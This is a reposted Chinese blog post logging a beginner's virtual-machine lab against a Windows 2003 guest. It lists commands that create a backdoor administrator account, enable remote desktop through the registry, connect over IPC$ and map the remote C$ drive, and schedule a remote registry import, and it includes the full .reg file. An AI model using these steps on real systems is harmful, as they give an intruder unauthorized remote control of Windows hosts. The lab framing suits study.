物理机系统：Win7
虚拟机系统：Win2003
Netstat –an 查看本机端口
Netstat –ano 查看本机端口+PID
通过本机上操作（比如登录网站），然后命令，查看对方IP以及端口
首先使用360极速浏览器插件查看本机ip
![]()
本机IPv6地址（临时）,感觉很屌！！！！
![]()
网页访问百度之后
百度IP
![]()
Netstat –ano查看
![]()
内部地址转外部地址
![]()
出现问题：本地地址访问的百度是172.19.166.5，但是没有172.19.166.5与外部地址的转换，初步怀疑是IPv6，但是百度ip显示的是
![]()
很是疑惑。
查看是哪个进程 ---- Tasklist
![]()
![]()
正题之一
命令行开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
命令： net user 帐号 密码 /add –创建帐号的命令
net localgroup administrators 帐号 /add --提升管理员命令
net use 查询ipc链接
net time \\IP ---查询时间
![]()
![]()
![]()
360，你为何如此的屌！！！
![]()
结果：
![]()
net use q: \\IP地址\c$ --- 将远程IP的c盘映射到本机q盘
![]()
结果：
![]()
at \\IP 时间 regedit /s 路径 ---注册表导入命令
（打开3389端口）
注册表内容：
1 Windows Registry Editor Version 5.00
2
3 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
4 "Enabled"="0"
5 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
6 "ShutdownWithoutLogon"="0"
7 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
8 "EnableAdminTSRemote"=dword:00000001
9 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
10 "TSEnabled"=dword:00000001
11 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
12 "Start"=dword:00000002
13 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
14 "Start"=dword:00000002
15 [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
16 "Hotkey"="1"
17 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
18 "PortNumber"=dword:00000D3D
19 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
20 "PortNumber"=dword:00000D3D
正题之二
防御
![]()
这只是很简单的学习，但是从中学到了许多。
本文转自我爱物联网博客园博客，原文链接：http://www.cnblogs.com/yydcdut/p/3462810.html，如需转载请自行联系原作者
